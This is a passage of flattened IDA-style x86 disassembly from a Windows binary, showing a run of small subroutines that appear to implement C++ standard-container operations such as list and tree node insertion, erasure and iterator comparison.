sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401EBA sub_415070 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016CC mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_40172B mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4150F0 proc near ; CODE XREF: sub_401578j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D89 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401465 mov edx, [esi+4] mov ecx, esi push edx call sub_401CD5 sub_4150F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415160 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_415160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4151A0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401DA7 mov eax, esi pop esi retn 4 sub_4151A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151D0 proc near ; CODE XREF: sub_40147Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D89 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40215D sub_4151D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415210 proc near ; CODE XREF: sub_401258j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401D89 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012E9 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401D5C test al, al jz short loc_415291 push edi mov edi, [esp+14h+arg_0] loc_415243: ; CODE XREF: sub_415210+7Ej lea ecx, [esp+14h+var_C] call sub_401FA5 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415275 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_40156E mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- jmp short loc_41527E ; --------------------------------------------------------------------------- loc_415275: ; CODE XREF: sub_415210+42j lea ecx, [esp+14h+var_C] call sub_4020A4 loc_41527E: ; CODE XREF: sub_415210+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401D5C test al, al jnz short loc_415243 pop edi loc_415291: ; CODE XREF: sub_415210+2Cj pop esi add esp, 0Ch retn 4 sub_415210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152D0 proc near ; CODE XREF: sub_401E1Fj push esi mov esi, ecx call sub_401EB5 mov eax, esi pop esi retn sub_4152D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152F0 proc near ; CODE XREF: sub_401FA5j mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_4152F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415310 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415340 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015CD neg al sbb eax, eax inc eax retn 4 sub_415340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415370 proc near ; CODE XREF: sub_401F05j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C7B sub_415370 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4153B0 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E1A sub_4153B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401983j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401249 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415460 proc near ; CODE XREF: sub_402234j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401CC6 mov eax, esi pop esi retn 4 sub_415460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_401EF1j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402234 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A96 sub_415490 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4154D0 proc near ; CODE XREF: sub_401924j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402234 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401983 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4154D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415520 proc near ; CODE XREF: sub_401154j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_402234 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_401983 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401AD7 test al, al jz short loc_4155A1 push edi mov edi, [esp+14h+arg_0] loc_415553: ; CODE XREF: sub_415520+7Ej lea ecx, [esp+14h+var_C] call sub_4011D1 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415585 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_4010DC mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- jmp short loc_41558E ; --------------------------------------------------------------------------- loc_415585: ; CODE XREF: sub_415520+42j lea ecx, [esp+14h+var_C] call sub_4018B6 loc_41558E: ; CODE XREF: sub_415520+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401AD7 test al, al jnz short loc_415553 pop edi loc_4155A1: ; CODE XREF: sub_415520+2Cj pop esi add esp, 0Ch retn 4 sub_415520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155E0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E79 mov eax, esi pop esi retn sub_4155E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402126 add esp, 4 retn sub_415600 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415620 proc near ; CODE XREF: sub_4018B6j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415620 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415650 proc near ; CODE XREF: sub_401AD7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EA6 neg al sbb eax, eax inc eax retn 4 sub_415650 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415680 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DA2 sub_415680 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4156C0 proc near ; CODE XREF: sub_4014B5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF6 sub_4156C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415730 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401BB8 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415730 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415770 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D66 mov eax, esi pop esi retn 4 sub_415770 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157A0 proc near ; CODE XREF: sub_401406j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401CFD sub_4157A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4157E0 proc near ; CODE XREF: sub_401C62j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018F2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401401 pop esi add esp, 0Ch retn sub_4157E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415830 proc near ; CODE XREF: sub_402130j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_40114A lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4018F2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401339 test al, al jz short loc_4158B1 push edi mov edi, [esp+14h+arg_0] loc_415863: ; CODE XREF: sub_415830+7Ej lea ecx, [esp+14h+var_C] call sub_40135C mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_415895 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401EA1 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41589E ; --------------------------------------------------------------------------- loc_415895: ; CODE XREF: sub_415830+42j lea ecx, [esp+14h+var_C] call sub_40118B loc_41589E: ; CODE XREF: sub_415830+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401339 test al, al jnz short loc_415863 pop edi loc_4158B1: ; CODE XREF: sub_415830+2Cj pop esi add esp, 0Ch retn 4 sub_415830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158F0 proc near ; CODE XREF: sub_402252j push esi mov esi, ecx call sub_401E29 mov eax, esi pop esi retn sub_4158F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415910 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017DA add esp, 4 retn sub_415910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BB8 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415930 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415960 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40144C neg al sbb eax, eax inc eax retn 4 sub_415960 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415990 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40208B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_415990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159D0 proc near ; CODE XREF: sub_4016CCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401753 mov eax, esi pop esi retn 4 sub_4159D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415A00 proc near ; CODE XREF: sub_40215Dj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C4E mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401EBA sub_415A00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401EFB add esp, 4 mov ecx, esi push eax call sub_402194 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401DA7 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AA0 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CA8 test al, al jz short loc_415AED push edi mov edi, [esp+8+arg_0] loc_415ABA: ; CODE XREF: sub_415AA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A4B push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40215D ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_4020EF lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CA8 test al, al jnz short loc_415ABA pop edi loc_415AED: ; CODE XREF: sub_415AA0+13j pop esi retn 0Ch sub_415AA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B20 proc near ; CODE XREF: sub_401FAFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40156E mov ecx, eax call sub_401C4E mov esi, eax push esi call sub_40208B push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_40208B mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_40208B mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401EFB add esp, 1Ch mov ecx, edi push eax call sub_4014F6 push esi mov ecx, edi call sub_401CD5 sub_415B20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_401465j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jz short loc_415C3A loc_415BF8: ; CODE XREF: sub_415BE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40156E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FAF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D5C test al, al jnz short loc_415BF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415C3A: ; CODE XREF: sub_415BE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415BE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C70 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020D6 sub_415C70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415C85 mov edi, esi loc_415C85: ; CODE XREF: ___:00415C81j push esi call sub_40208B mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415C9A mov edi, esi loc_415C9A: ; CODE XREF: ___:00415C96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415CC0 proc near ; CODE XREF: sub_401CD5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E01 sub_415CC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40208Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415CE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_401EFBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D20 proc near ; CODE XREF: sub_401EB5j mov eax, ecx retn sub_415D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D40 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401753 mov eax, esi pop esi retn 4 sub_415D40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415D70 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020A4 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415D70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DA0 proc near ; CODE XREF: sub_4015CDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415DA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DD0 proc near ; CODE XREF: sub_401A96j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F6E mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C7B sub_415DD0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402126 add esp, 4 mov ecx, esi push eax call sub_4015E6 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401CC6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415E70 proc near ; CODE XREF: sub_4017DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F6E mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402126 add esp, 1Ch mov ecx, edi push eax call sub_401D4D push esi mov ecx, edi call sub_401E1A sub_415E70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415F30 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jz short loc_415F8A loc_415F48: ; CODE XREF: sub_415F30+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017DF ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AD7 test al, al jnz short loc_415F48 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415F8A: ; CODE XREF: sub_415F30+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415F30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415FC0 proc near ; CODE XREF: sub_401C7Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015A5 sub_415FC0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415FD5 mov edi, esi loc_415FD5: ; CODE XREF: ___:00415FD1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415FEA mov edi, esi loc_415FEA: ; CODE XREF: ___:00415FE6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416010 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416010 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416030 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416050 proc near ; CODE XREF: sub_402126j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416070 proc near ; CODE XREF: sub_401E79j mov eax, ecx retn sub_416070 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416090 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416090 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160C0 proc near ; CODE XREF: sub_4010DCj 